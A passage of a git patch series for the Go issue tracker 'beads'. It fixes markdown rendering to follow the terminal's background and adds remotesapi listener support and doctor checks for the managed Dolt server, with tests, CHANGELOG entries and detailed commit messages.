restore" with extra args. Returns combined output. @@ -145,12 +147,16 @@ func TestEmbeddedRestore(t *testing.T) { dir, beadsDir, _ := bdInit(t, bd, "--prefix", "rstjs") id := simulateCompaction(t, bd, dir, beadsDir, "rstjs") - // NOTE: bd restore has a known issue where its local --json flag - // conflicts with the root command's --json persistent flag. - // Just verify the command runs successfully. - out := bdRestore(t, bd, dir, id) - if !strings.Contains(out, "long description") { - t.Errorf("expected restored description in output, got: %s", out) + out := bdRestore(t, bd, dir, id, "--json") + var restored types.Issue + if err := json.Unmarshal([]byte(out), &restored); err != nil { + t.Fatalf("bd restore --json must print a JSON issue, got error %v:\n%s", err, out) + } + if restored.ID != id { + t.Errorf("expected restored issue %s, got %q", id, restored.ID) + } + if !strings.Contains(restored.Description, "long description") { + t.Errorf("expected restored description in JSON, got: %q", restored.Description) } }) } From 602f4bfa8fa103d8f822957d8059ec99a6ac0b7f Mon Sep 17 00:00:00 2001 From: Huka Date: Thu, 1 Oct 2026 14:55:37 +0700 Subject: [PATCH 004/325] fix(uimd): render bd show DESCRIPTION with terminal's actual background (#5776) * fix(uimd): render bd show DESCRIPTION with terminal's actual background glamour.WithEnvironmentConfig() defaults to styles.DarkStyle whenever GLAMOUR_STYLE is unset, with no light/dark auto-detection. That left the DESCRIPTION section's markdown body always dark-themed regardless of the terminal's real background, even though internal/ui already detects it (lipgloss.HasDarkBackground) for the header and every other adaptive color in bd's output. Result: unreadable low-contrast body text on light-background terminals. Export internal/ui's detected background as IsDarkBackground and have internal/uimd pick glamour's "light" or "dark" style from it, still honoring an explicit GLAMOUR_STYLE override first. Fixes #5775 * test(uimd): pin glamourStylePath, add CHANGELOG entry, harden IsDarkBackground Address PR review requests on #5776: - Add a table test for glamourStylePath() covering the GLAMOUR_STYLE override and the dark/light background branches. - Add a CHANGELOG entry under Unreleased, scoped to every markdown body bd prints (DESCRIPTION, DESIGN, NOTES, ACCEPTANCE CRITERIA, comments, direct and proxied), not just bd show's DESCRIPTION field. - Turn ui.IsDarkBackground from an exported mutable variable into an accessor over an unexported one, with a SetDarkBackgroundForTest seam for the new table test. - Document why glamourStylePath's read of the background can never see an unprobed zero value: it only runs under the same ui.ShouldUseColor() gate that guards the probe. * docs(recovery): refresh init-safety.md freshness marker CI doc-flags-freshness check flagged Last reviewed as stale (2026-06-09, 110 days). Content unchanged, marker bumped. Co-Authored-By: Claude Sonnet 5 * chore(bazel): sync internal/uimd BUILD.bazel for the new test imports markdown_test.go gains `charm.land/glamour/v2/styles` and `internal/ui`, but `go_test(name = "uimd_test")` carried no `deps` attribute, so `make bazel-sync` (gazelle) rewrites the file. The advisory Bazel lane's "BUILD files in sync" step runs that exact command and `exit 1`s on any porcelain drift, and it arms unconditionally for fork PRs. Generated with `make bazel-sync`, the remedy the gate itself prescribes. No hand-written lines. * fix(uimd,changelog): pin the style wiring at RenderMarkdown, move the entry to Unreleased Both review lanes filed the CHANGELOG placement and codex filed the test gap; this takes both. Neither needed a production change. CHANGELOG: the 16-line entry was added inside `## [1.3.0] - 2026-09-15`, a shipped and tagged release, so it rewrote published history for a fix that was not in 1.3.0 and the next release cut would not have picked it up. Moved under `## [Unreleased]`, at the END of its first `### Fixed` list rather than the top: main is appending new entries at the top of that list constantly, and an insertion there makes the adopted head conflict with main for no benefit (measured -- top placement gave `git merge-tree` a CHANGELOG conflict, the tail placement merges clean). The bullet text is byte-identical to the contributor's. Test: TestGlamourStylePath pinned the helper but nothing pinned markdown.go's `glamour.WithStylePath(glamourStylePath())`, so the whole user-visible fix could be reverted with a green suite. Codex confirmed that empirically and so did this change: reverting that one line to `glamour.WithEnvironmentConfig()` leaves every pre-existing test in the package PASSING -- including all four TestGlamourStylePath subtests -- and reds only the new TestRenderMarkdownUsesTheDetectedBackgroundStyle. The new test renders one sample under each background and requires the output to differ, so it detects exactly that regression and nothing else. The nit (SetDarkBackgroundForTest not re-running initColors) is left alone: the synthesis marks it "none for merge" and today's only caller reads the flag. --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 14 +++++ internal/ui/styles.go | 26 +++++++- internal/uimd/BUILD.bazel | 4 ++ internal/uimd/markdown.go | 27 +++++++- internal/uimd/markdown_test.go | 109 +++++++++++++++++++++++++++++++++ 5 files changed, 177 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8c41de849..66919cc86 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -490,6 +490,20 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 (non-readonly) `bd show` keeps recording last-touched exactly as before, so only consumers driving `bd --readonly … --json` see the change. +- **Markdown bodies now honor the terminal's actual background instead of + always rendering dark** + ([#5776](https://github.com/gastownhall/beads/pull/5776)). + `glamour.WithEnvironmentConfig()` defaults to `styles.DarkStyle` whenever + `GLAMOUR_STYLE` is unset, with no regard for the terminal's real + background — unlike `internal/ui`'s own adaptive colors, which probe it + via `lipgloss.HasDarkBackground`. That left every markdown body's colors + wrong on a light-background terminal even though the section header + wrapping it adapted correctly. The fix lands at the shared renderer, so it + covers every markdown body `bd` prints — DESCRIPTION, DESIGN, NOTES, + ACCEPTANCE CRITERIA, and comment bodies, direct and proxied alike — not + just `bd show`'s DESCRIPTION field. An explicit `GLAMOUR_STYLE` override + still takes priority over the detected background. + ### Added - **A long-running schema migration now says so instead of going quiet** diff --git a/internal/ui/styles.go b/internal/ui/styles.go index 409b69062..d16dfe335 100644 --- a/internal/ui/styles.go +++ b/internal/ui/styles.go @@ -12,14 +12,36 @@ import ( "github.com/steveyegge/beads/internal/types" ) +// isDarkBackground stores the detected terminal background, so other +// packages (e.g. internal/uimd's glamour renderer) can match its color +// choices to the same probe this package uses for its own adaptive colors, +// instead of guessing independently. Zero value (false) when color is +// disabled, since the probe is skipped in that case (see init below). +var isDarkBackground bool + +// IsDarkBackground reports the detected terminal background. See +// isDarkBackground for how and when it is set. +func IsDarkBackground() bool { + return isDarkBackground +} + +// SetDarkBackgroundForTest overrides the detected background for the +// duration of a test and returns a function that restores the previous +// value. Test-only. +func SetDarkBackgroundForTest(dark bool) func() { + prev := isDarkBackground + isDarkBackground = dark + return func() { isDarkBackground = prev } +} + func init() { if !ShouldUseColor() { return // all colors remain NoColor, all styles remain empty } // Detect dark background for adaptive colors. // Only probed when color is enabled (prevents OSC 11 leaks in hook contexts). - isDark := lipgloss.HasDarkBackground(os.Stdin, os.Stdout) - initColors(isDark) + isDarkBackground = lipgloss.HasDarkBackground(os.Stdin, os.Stdout) + initColors(isDarkBackground) initStyles() } diff --git a/internal/uimd/BUILD.bazel b/internal/uimd/BUILD.bazel index bb9d29bb0..b6bb87ea5 100644 --- a/internal/uimd/BUILD.bazel +++ b/internal/uimd/BUILD.bazel @@ -18,4 +18,8 @@ go_test( name = "uimd_test", srcs = ["markdown_test.go"], embed = [":uimd"], + deps = [ + "//internal/ui", + "@land_charm_glamour_v2//styles", + ], ) diff --git a/internal/uimd/markdown.go b/internal/uimd/markdown.go index 04ff620ee..599476902 100644 --- a/internal/uimd/markdown.go +++ b/internal/uimd/markdown.go @@ -60,7 +60,7 @@ func RenderMarkdown(markdown string) string { } if useANSI { options = append(options, - glamour.WithEnvironmentConfig(), + glamour.WithStylePath(glamourStylePath()), glamour.WithChromaFormatter("terminal256"), ) } else { @@ -96,6 +96,31 @@ func RenderMarkdown(markdown string) string { return rendered } +// glamourStylePath picks the glamour style name for the markdown body. +// glamour.WithEnvironmentConfig defaults to styles.DarkStyle whenever +// GLAMOUR_STYLE is unset, with no regard for the terminal's actual +// background — unlike internal/ui's own adaptive colors (used for the +// section header wrapping this body), which probe the real background via +// lipgloss.HasDarkBackground. That left the DESCRIPTION header adapting +// correctly while the rendered body underneath always used dark-style +// colors, which read poorly on a light-background terminal. Honor an +// explicit GLAMOUR_STYLE override first, then fall back to the same +// detected background internal/ui already uses. +// +// ui.IsDarkBackground's zero value is "light", which would be wrong for an +// unprobed dark terminal, but this is only ever reached from RenderMarkdown +// under useANSI, the same ui.ShouldUseColor() gate that guards the probe +// itself — so by the time this runs, the value is never unprobed. +func glamourStylePath() string { + if envStyle := os.Getenv("GLAMOUR_STYLE"); envStyle != "" { + return envStyle + } + if ui.IsDarkBackground() { + return styles.DarkStyle + } + return styles.LightStyle +} + // escapeAngleBrackets replaces literal "<" and ">" with their HTML entity // equivalents so goldmark's inline/block HTML parsing never triggers on them. func escapeAngleBrackets(s string) string { diff --git a/internal/uimd/markdown_test.go b/internal/uimd/markdown_test.go index a0486717a..df1da23f6 100644 --- a/internal/uimd/markdown_test.go +++ b/internal/uimd/markdown_test.go @@ -4,6 +4,9 @@ import ( "os" "strings" "testing" + + "charm.land/glamour/v2/styles" + "github.com/steveyegge/beads/internal/ui" ) // TestRenderMarkdownStylesBodyContentRegression3881 is the focused guard for @@ -430,3 +433,109 @@ func withMarkdownEnv(t *testing.T, values map[string]string) { } } } + +// TestGlamourStylePath pins glamourStylePath's three branches: an explicit +// GLAMOUR_STYLE override always wins, otherwise the detected terminal +// background picks glamour's dark or light style. +func TestGlamourStylePath(t *testing.T) { + tests := []struct { + name string + glamourStyle string + darkBackground bool + want string + }{ + { + name: "GLAMOUR_STYLE override wins over a light background", + glamourStyle: "dracula", + darkBackground: false, + want: "dracula", + }, + { + name: "GLAMOUR_STYLE override wins over a dark background", + glamourStyle: "dracula", + darkBackground: true, + want: "dracula", + }, + { + name: "dark background without override", + darkBackground: true, + want: styles.DarkStyle, + }, + { + name: "light background without override", + darkBackground: false, + want: styles.LightStyle, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + origStyle, hadOrigStyle := os.LookupEnv("GLAMOUR_STYLE") + if tt.glamourStyle == "" { + os.Unsetenv("GLAMOUR_STYLE") + } else { + os.Setenv("GLAMOUR_STYLE", tt.glamourStyle) + } + t.Cleanup(func() { + if hadOrigStyle { + os.Setenv("GLAMOUR_STYLE", origStyle) + } else { + os.Unsetenv("GLAMOUR_STYLE") + } + }) + + t.Cleanup(ui.SetDarkBackgroundForTest(tt.darkBackground)) + + if got := glamourStylePath(); got != tt.want { + t.Fatalf("glamourStylePath() = %q, want %q", got, tt.want) + } + }) + } +} + +// TestRenderMarkdownUsesTheDetectedBackgroundStyle pins the call site, not just +// the helper. TestGlamourStylePath above proves glamourStylePath returns a +// different style per background, but nothing proved RenderMarkdown actually +// hands that path to the renderer — so dropping the WithStylePath option would +// revert the entire user-visible fix with a green suite. Rendering one sample +// under each background and requiring the emitted output to differ reds exactly +// that regression. +func TestRenderMarkdownUsesTheDetectedBackgroundStyle(t *testing.T) { + withMarkdownEnv(t, map[string]string{ + "NO_COLOR": "", + "TERM": "xterm-256color", + "CLICOLOR_FORCE": "1", + "FORCE_HYPERLINK": "", + "BD_AGENT_MODE": "", + "CLAUDE_CODE": "", + }) + + // withMarkdownEnv does not manage GLAMOUR_STYLE, and an explicit value + // short-circuits glamourStylePath before the background is ever consulted. + origStyle, hadOrigStyle := os.LookupEnv("GLAMOUR_STYLE") + os.Unsetenv("GLAMOUR_STYLE") + t.Cleanup(func() { + if hadOrigStyle { + os.Setenv("GLAMOUR_STYLE", origStyle) + } else { + os.Unsetenv("GLAMOUR_STYLE") + } + }) + + const sample = "# Heading\n\nSome **bold** text and `code`.\n" + + restoreDark := ui.SetDarkBackgroundForTest(true) + dark := RenderMarkdown(sample) + restoreDark() + + restoreLight := ui.SetDarkBackgroundForTest(false) + light := RenderMarkdown(sample) + restoreLight() + + if !strings.Contains(dark, "\x1b[") || !strings.Contains(light, "\x1b[") { + t.Fatalf("expected ANSI SGR styling in both renders, got dark=%q light=%q", dark, light) + } + if dark == light { + t.Fatalf("expected the dark and light renders to differ, got identical output %q", dark) + } +} From a3a64a83d94028cb1827f36313f625aa3db42125 Mon Sep 17 00:00:00 2001 From: mccraigmccraig of the clan mccraig Date: Thu, 1 Oct 2026 08:57:54 +0100 Subject: [PATCH 005/325] feat(doltserver): add fenced restart and remotesapi listener support (#6020) * feat(config): model shared remotesapi endpoint Agent-Signature: omp-gpt-5.6-unknown-reasoning on behalf of mccraigmccraig * feat(doltserver): manage remotesapi lifecycle Agent-Signature: omp-gpt-5.6-unknown-reasoning on behalf of mccraigmccraig * test(doltserver): pin remotesapi lifecycle contracts Agent-Signature: omp-gpt-5.6-unknown-reasoning on behalf of mccraigmccraig * fix(doltserver): warn on auto-start remotesapi gap and reword remedy to stop/start Review fixes for PR #6020 (bee-ghosttrack, 2026-09-03 / 2026-09-25): - verifyRemotesAPIState guidance no longer names 'bd dolt restart', which does not exist in this PR's layer; it now prescribes 'bd dolt stop && bd dolt start'. Test assertions updated to match. - EnsureRunningDetailed's fast path warns and keeps serving SQL when a running server predates the configured remotesapi listener, instead of failing every bd command until a restart. Explicit lifecycle paths (Start, adoption) still fail hard. BEADS_DOLT_REMOTESAPI_PORT is a pre-existing federation knob, so this running-without-listener state is expected on upgrade, not a broken install. Pinned by an added EnsureRunningDetailed case in the existing lifecycle integration test. Agent-Signature: omp-fable-5 on behalf of mccraigmccraig * docs(changelog): document remotesapi listener rollout and wildcard-bind caveat Review fixes for PR #6020 (items 2 and 3): BEADS_DOLT_REMOTESAPI_PORT changes meaning with this PR (federation-check knob -> actually opens the listener on the managed server), and the listener binds all interfaces unauthenticated, unlike the 127.0.0.1 SQL listener. Both now land with the mechanism: a CHANGELOG entry plus the same caveat on Config.RemotesAPIPort. Agent-Signature: omp-fable-5 on behalf of mccraigmccraig * fix(review): address adopt-pr review findings for #6020 Maintainer fixup for the four major findings in the attempt-1 synthesis, plus the two cheap minors in the files already being touched. major/Change Impact: cmd/bd/doctor/federation.go resolved the remotesapi port from configfile alone, so a shared server launched from the user-global dolt.remotesapi-port key was diagnosed against 8080 and reported StatusError for a correct configuration. Resolve through doltserver.ResolveRemotesAPIPort (the same chain the launcher uses) and report a resolved 0 as "listener disabled" instead of dialing port 0. This also gives the new exported resolver its first production caller. major/Test Evidence: TestMain redirected HOME to an empty temp dir, which hid dolt's identity file, so dolt init failed "Author identity unknown" and TestRecoverPreV56DoltDir and TestEnsureDoltInit_WritesMarker silently became skips. Configure a dolt identity inside the isolated home (configureDoltIdentity mirrors lifecycle_integration_test.go's helper, which this build tag cannot see). Both tests run and pass again; the two skip messages now name the real cause instead of "dolt may not be installed". major/Resource Lifecycle: TestMain called SweepOrphanedTestServers(), whose own doc says verbatim not to call it from TestMain because the global arm can reap a still-running foreign suite's servers. Switch to the suite-scoped pattern already used by testmain_integration_test.go: SweepDeadSuiteRoots before the run, an owner marker on our own root, and SweepSuiteTestServers after. major/Debuggability: EnsureRunningDetailed took the exclusive lifecycle flock unconditionally, including on the already-running fast path that was lock-free before the lock unification, so one wedged holder could hang every bd command on the machine silently and indefinitely. Check IsRunning first and acquire only when a start is actually needed; the slow path re-checks under the lock and releases before adopting, keeping the 500ms ProbeRemotesAPI dial out of the exclusive region. acquireLifecycleLock now follows the pre-unification two-step pattern: try non-blocking, and announce on stderr before any blocking wait. minor/Contract Fidelity: the TestMain comment claimed an isolation boundary the code did not provide. Clear the operator's whole BEADS_* namespace by prefix (preserving BEADS_TEST_*) so the claim is true. Measured: with BEADS_DIR/BEADS_DOLT_SERVER_* exported the package failed TestDefaultConfigReturnsZeroForStandalone, TestDefaultConfigPortFileTakesPrecedence and TestResolveServerMode_HostInferredExternal; it is now green bare. minor/Test Evidence: add testmain_test.go to the go_test srcs via make bazel-sync, so a bazel run gets the isolation TestMain too. Iteration 2: the non-gating minors from the attempt-2 synthesis that indict text this fixup introduced. minor/Change Impact: the federation check resolved a mode-dependent port without classifying the mode, so on a per-project server, which bd never gives a remotesapi listener, it prescribed "bd dolt stop && bd dolt start", a loop that reproduces the same error, and its disabled-listener Detail named a shared server the workspace does not have. Classify once in a new checkRemotesAPIListener helper (IsSharedServerModeForDir + ResolveRemotesAPIPortForMode, the same resolution as before): the shared arm keeps the restart remedy, the per-project arm names --remotesapi-port or shared-server mode. minor/Test Evidence: TestCheckRemotesAPIListener covers the running-server arm the three getter tests never reach: the user-global port, the env override, and the per-mode remedy and disabled-listener Detail. Mutation-checked: restoring the shared-only strings reddens exactly the two per-project subtests; restoring configfile-only resolution reddens five of six. minor/Contract Fidelity: dolt reads its global config from DOLT_ROOT_PATH before HOME, so an exported DOLT_ROOT_PATH broke the TestMain isolation claim: TestRecoverPreV56DoltDir and TestEnsureDoltInit_WritesMarker went back to skipping while dolt wrote into the operator's directory. Pin it to the isolated root. Measured with an identity-less DOLT_ROOT_PATH exported: both tests SKIP without the pin and PASS with it, and the operator's directory stays empty. Not taken: a guard test for the lock-free fast path (the prescribed live non-dolt PID fixture cannot reach it, since IsRunning's isDoltProcess check reports such a PID as not running; a real guard needs a real server in the integration build), and the inert-sweep nit (no test in this build starts a server, and pinning TMPDIR for the whole suite is broader than the nit). Co-Authored-By: Claude Opus 5.5 * test(doltserver): clear port env in target-overrides subtest Merging main brought in check 2c (#5934): an env-supplied BEADS_DOLT_SERVER_PORT / BEADS_DOLT_PORT classifies any target external. ResolveServerModeForMode honors it, so DefaultConfig keeps main's resolution, but that made this subtest's "want owned" depend on the developer's shell. Under -tags integration, whose TestMain does not scrub BEADS_*, it failed on any host exporting a port var, while the PR head passed the same run. Clear both, as main's own owned-expecting resolver tests do. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 --- CHANGELOG.md | 20 + cmd/bd/doctor/federation.go | 45 +- cmd/bd/doctor/federation_test.go | 103 ++++ internal/config/yaml_config.go | 22 +- internal/config/yaml_config_test.go | 19 + internal/doltserver/BUILD.bazel | 1 + internal/doltserver/doltserver.go | 527 +++++++++++++++--- internal/doltserver/doltserver_test.go | 297 +++++++++- .../doltserver/lifecycle_integration_test.go | 266 +++++++++ internal/doltserver/servermode.go | 29 +- internal/doltserver/testmain_test.go | 123 ++++ 11 files changed, 1335 insertions(+), 117 deletions(-) create mode 100644 internal/doltserver/testmain_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 66919cc86..01e816187 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -765,6 +765,26 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed +- **The managed shared Dolt server now opens its configured remotesapi + listener** ([#6020](https://github.com/gastownhall/beads/pull/6020)). + `dolt.remotesapi-port` (machine-global user config) and + `BEADS_DOLT_REMOTESAPI_PORT` now reach the launched `dolt sql-server` + (as `--remotesapi-port` in flag mode, `remotesapi.port` in generated-YAML + mode), and `doltserver.Restart` applies a listener change under one + lifecycle lock. Zero (the shared-mode default) still means no listener. + + This changes the meaning of a pre-existing knob: `BEADS_DOLT_REMOTESAPI_PORT` + previously only informed federation doctor checks; a managed server launched + with it set now actually opens that listener. A server still running from + before the setting appeared refuses `bd dolt start` with a + `bd dolt stop && bd dolt start` remedy, while auto-start keeps serving SQL + and prints a warning until the server is restarted. + + Security caveat: Dolt binds the remotesapi listener on all interfaces and + serves it unauthenticated, unlike the managed 127.0.0.1 SQL listener. Only + enable it where a firewall, private interface, or tunnel bounds who can + reach the port. + - **A formula with a `waits_for` gate and no spawner to wait for is now rejected, and an invalid formula is no longer reported as not found.** A gate step infers its spawner from `needs[0]`, so with nothing to infer from, diff --git a/cmd/bd/doctor/federation.go b/cmd/bd/doctor/federation.go index 7c40e85ea..bd1bcfb2b 100644 --- a/cmd/bd/doctor/federation.go +++ b/cmd/bd/doctor/federation.go @@ -267,11 +267,38 @@ func CheckFederationRemotesAPI(path string) DoctorCheck { } } - // Server is running and peers are configured - check if remotesapi port is accessible. - // Read port from config instead of hardcoding 8080. - remotesAPIPort := configfile.DefaultDoltRemotesAPIPort - if cfg, err := configfile.Load(beadsDir); err == nil && cfg != nil { - remotesAPIPort = cfg.GetDoltRemotesAPIPort() + // Server is running and peers are configured - check if remotesapi port is + // accessible. + return checkRemotesAPIListener(beadsDir, serverState.PID) +} + +// checkRemotesAPIListener probes the remotesapi listener of a running server. +// It resolves the port through the same chain the launcher uses +// (BEADS_DOLT_REMOTESAPI_PORT -> user-global dolt.remotesapi-port for a shared +// server -> the per-project configfile), not configfile alone: reading +// configfile alone diagnoses port 8080 while a shared server launched from the +// user-global key is listening somewhere else. +// +// The mode is classified once because it also decides the remedy. bd opens a +// remotesapi listener only for the shared server it launches, so restarting is +// the fix there; restarting a per-project server reproduces the same error. +func checkRemotesAPIListener(beadsDir string, pid int) DoctorCheck { + sharedMode := doltserver.IsSharedServerModeForDir(beadsDir) + remotesAPIPort := doltserver.ResolveRemotesAPIPortForMode(beadsDir, sharedMode) + if remotesAPIPort <= 0 { + // Resolved zero means no listener was requested. Dialing port 0 would + // report a spurious federation error for a correct configuration. + detail := "The remotesapi port resolves to 0, so no remotesapi listener is expected." + if sharedMode { + detail = "No remotesapi port is configured, so the shared dolt sql-server does not open a remotesapi listener." + } + return DoctorCheck{ + Name: "Federation remotesapi", + Status: StatusOK, + Message: "N/A (remotesapi listener disabled)", + Detail: detail, + Category: CategoryFederation, + } } host := "127.0.0.1" @@ -281,12 +308,16 @@ func CheckFederationRemotesAPI(path string) DoctorCheck { // greeting to drain here. conn, err := net.DialTimeout("tcp", addr, 2*time.Second) if err != nil { + fix := fmt.Sprintf("bd opens a remotesapi listener only for the shared server: run dolt sql-server with --remotesapi-port %d, or enable dolt.shared-server and set dolt.remotesapi-port in the user-global config", remotesAPIPort) + if sharedMode { + fix = "Restart the shared server so it picks up the resolved remotesapi port: bd dolt stop && bd dolt start" + } return DoctorCheck{ Name: "Federation remotesapi", Status: StatusError, Message: fmt.Sprintf("remotesapi port %d not accessible", remotesAPIPort), - Detail: fmt.Sprintf("Server running (PID %d) but remotesapi port unreachable: %v", serverState.PID, err), - Fix: "Check if dolt sql-server is running with --remotesapi-port flag", + Detail: fmt.Sprintf("Server running (PID %d) but remotesapi port unreachable: %v", pid, err), + Fix: fix, Category: CategoryFederation, } } diff --git a/cmd/bd/doctor/federation_test.go b/cmd/bd/doctor/federation_test.go index 0c2e1c90c..6729bc0ab 100644 --- a/cmd/bd/doctor/federation_test.go +++ b/cmd/bd/doctor/federation_test.go @@ -4,9 +4,11 @@ package doctor import ( "encoding/json" + "net" "os" "os/exec" "path/filepath" + "strconv" "strings" "testing" @@ -413,6 +415,107 @@ func TestCheckFederationRemotesAPI_EnvOverridesConfig(t *testing.T) { } } +// remotesAPITarget isolates the inputs checkRemotesAPIListener resolves from: +// the server mode, the user-global dolt.remotesapi-port ("" leaves it unset) +// and BEADS_DOLT_REMOTESAPI_PORT ("" leaves it unset). +func remotesAPITarget(t *testing.T, shared bool, userGlobalPort, envPort string) string { + t.Helper() + home := t.TempDir() + t.Setenv("HOME", home) + t.Setenv("USERPROFILE", home) + t.Setenv("XDG_CONFIG_HOME", filepath.Join(home, ".config")) + if userGlobalPort != "" { + dir := filepath.Join(home, ".config", "bd") + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatal(err) + } + yaml := "dolt:\n remotesapi-port: " + userGlobalPort + "\n" + if err := os.WriteFile(filepath.Join(dir, "config.yaml"), []byte(yaml), 0o600); err != nil { + t.Fatal(err) + } + } + t.Setenv("BEADS_DOLT_SHARED_SERVER", strconv.FormatBool(shared)) + t.Setenv("BEADS_DOLT_REMOTESAPI_PORT", envPort) + beadsDir := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(beadsDir, 0o755); err != nil { + t.Fatal(err) + } + return beadsDir +} + +// localTCPPort returns a loopback port, still listening when open is true and +// already closed (so a dial is refused) otherwise. +func localTCPPort(t *testing.T, open bool) int { + t.Helper() + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + port := ln.Addr().(*net.TCPAddr).Port + if open { + t.Cleanup(func() { _ = ln.Close() }) + } else { + _ = ln.Close() + } + return port +} + +// TestCheckRemotesAPIListener covers the running-server arm of +// CheckFederationRemotesAPI, which the getter tests above never reach: the +// port it resolves and the remedy it prints for each server mode. +func TestCheckRemotesAPIListener(t *testing.T) { + t.Run("shared server resolves the user-global port", func(t *testing.T) { + port := localTCPPort(t, true) + check := checkRemotesAPIListener(remotesAPITarget(t, true, strconv.Itoa(port), ""), 4242) + if check.Status != StatusOK || check.Message != "Port "+strconv.Itoa(port)+" accessible" { + t.Fatalf("got %s %q, want the user-global port %d accessible", check.Status, check.Message, port) + } + }) + + t.Run("environment overrides the user-global port", func(t *testing.T) { + port := localTCPPort(t, true) + check := checkRemotesAPIListener(remotesAPITarget(t, true, strconv.Itoa(localTCPPort(t, false)), strconv.Itoa(port)), 4242) + if check.Status != StatusOK || check.Message != "Port "+strconv.Itoa(port)+" accessible" { + t.Fatalf("got %s %q, want the env port %d accessible", check.Status, check.Message, port) + } + }) + + t.Run("unreachable shared server prescribes a restart", func(t *testing.T) { + port := localTCPPort(t, false) + check := checkRemotesAPIListener(remotesAPITarget(t, true, strconv.Itoa(port), ""), 4242) + if check.Status != StatusError || !strings.Contains(check.Fix, "bd dolt stop && bd dolt start") { + t.Fatalf("got %s, Fix %q; want StatusError with the stop/start remedy", check.Status, check.Fix) + } + }) + + t.Run("unreachable per-project server names the flag, not a restart", func(t *testing.T) { + port := localTCPPort(t, false) + check := checkRemotesAPIListener(remotesAPITarget(t, false, "", strconv.Itoa(port)), 4242) + if check.Status != StatusError { + t.Fatalf("got %s, want StatusError", check.Status) + } + // bd never opens a listener for a per-project server, so a restart + // cannot clear this error. + if !strings.Contains(check.Fix, "--remotesapi-port "+strconv.Itoa(port)) || strings.Contains(check.Fix, "bd dolt stop") { + t.Fatalf("Fix %q must name --remotesapi-port %d and must not prescribe a restart", check.Fix, port) + } + }) + + t.Run("shared server without a port is disabled", func(t *testing.T) { + check := checkRemotesAPIListener(remotesAPITarget(t, true, "", ""), 4242) + if check.Status != StatusOK || check.Message != "N/A (remotesapi listener disabled)" || !strings.Contains(check.Detail, "shared dolt sql-server") { + t.Fatalf("got %s %q, Detail %q; want the shared server's disabled listener", check.Status, check.Message, check.Detail) + } + }) + + t.Run("per-project port zero is disabled without naming a shared server", func(t *testing.T) { + check := checkRemotesAPIListener(remotesAPITarget(t, false, "", "0"), 4242) + if check.Status != StatusOK || check.Message != "N/A (remotesapi listener disabled)" || strings.Contains(check.Detail, "shared") { + t.Fatalf("got %s %q, Detail %q; want a disabled listener that does not claim a shared server", check.Status, check.Message, check.Detail) + } + }) +} + func TestCheckFederationChecks_CategoryIsFederation(t *testing.T) { tmpDir := t.TempDir() beadsDir := filepath.Join(tmpDir, ".beads") diff --git a/internal/config/yaml_config.go b/internal/config/yaml_config.go index 78cc98cb0..345457a67 100644 --- a/internal/config/yaml_config.go +++ b/internal/config/yaml_config.go @@ -90,7 +90,9 @@ var YamlOnlyKeys = map[string]bool{ "import.path": true, // Dolt server settings - "dolt.shared-server": true, // Shared Dolt server at ~/.beads/shared-server/ (GH#2377) + "dolt.shared-server": true, // Shared Dolt server at ~/.beads/shared-server/ (GH#2377) + "dolt.remotesapi-port": true, // Machine-global shared-server remotesapi listener (0 disables) + "dolt.max-conns": true, // Connection pool size override (default 10, GH#3140) "dolt.pool-read-timeout": true, // Pool per-I/O read deadline override (default 10s, bd-vz0y9) "dolt.pool-write-timeout": true, // Pool per-I/O write deadline override (default 10s, bd-vz0y9) @@ -350,7 +352,10 @@ var userGlobalKeyPrefixes = []string{"metrics."} // happening while the operator believes they are protected. Routing the write // to ~/.config/bd/config.yaml keeps it per-machine; viper still merges that // file, so config.NodeID() reads it back. -var userGlobalExactKeys = map[string]bool{"node_id": true} +var userGlobalExactKeys = map[string]bool{ + "dolt.remotesapi-port": true, + "node_id": true, +} func IsUserGlobalKey(key string) bool { if userGlobalExactKeys[key] { @@ -558,10 +563,10 @@ func yamlScalarString(v interface{}) (string, bool) { // GetUserYamlConfig reads a single dotted key from the user-global config.yaml // ONLY, never project/BEADS_DIR config, returning "" if unset. It is the read // counterpart of SetUserYamlConfig/UnsetUserYamlConfig and the generic form of -// the per-key consent helpers below. User-global keys (see IsUserGlobalKey — -// currently metrics.*) must be read through this so `bd config get` reports the -// value that actually governs runtime behavior, not the merged value a project's -// .beads/config.yaml could shadow. +// per-key consent helpers below. Keys selected by IsUserGlobalKey (for example +// metrics.*, node_id, and the shared-server remotesapi port) must be read +// through this so `bd config get` reports the value that actually governs +// runtime behavior, not a merged project value the machine ignores. func GetUserYamlConfig(key string) string { raw, _ := readUserGlobalYamlValue(key) return strings.TrimSpace(raw) @@ -1414,6 +1419,11 @@ func validateYamlConfigValue(key, value string) error { if lower != "true" && lower != "false" { return fmt.Errorf("dolt.shared-server must be \"true\" or \"false\", got %q", value) } + case "dolt.remotesapi-port": + port, err := strconv.Atoi(strings.TrimSpace(value)) + if err != nil || port < 0 || port > 65535 { + return fmt.Errorf("dolt.remotesapi-port must be 0 (disabled) or a valid port number (1-65535), got %q", value) + } case "dolt.debug": lower := strings.ToLower(value) if lower != "true" && lower != "false" { diff --git a/internal/config/yaml_config_test.go b/internal/config/yaml_config_test.go index 39634a89e..72d2244e1 100644 --- a/internal/config/yaml_config_test.go +++ b/internal/config/yaml_config_test.go @@ -786,6 +786,19 @@ func TestValidateYamlConfigValue_SharedServer(t *testing.T) { } } +func TestValidateYamlConfigValue_DoltRemotesAPIPort(t *testing.T) { + for _, value := range []string{"0", "1", "65535"} { + if err := validateYamlConfigValue("dolt.remotesapi-port", value); err != nil { + t.Errorf("expected %q to be valid: %v", value, err) + } + } + for _, value := range []string{"-1", "banana", "65536"} { + if err := validateYamlConfigValue("dolt.remotesapi-port", value); err == nil { + t.Errorf("expected %q to be invalid", value) + } + } +} + func TestValidateYamlConfigValue_DoltDebug(t 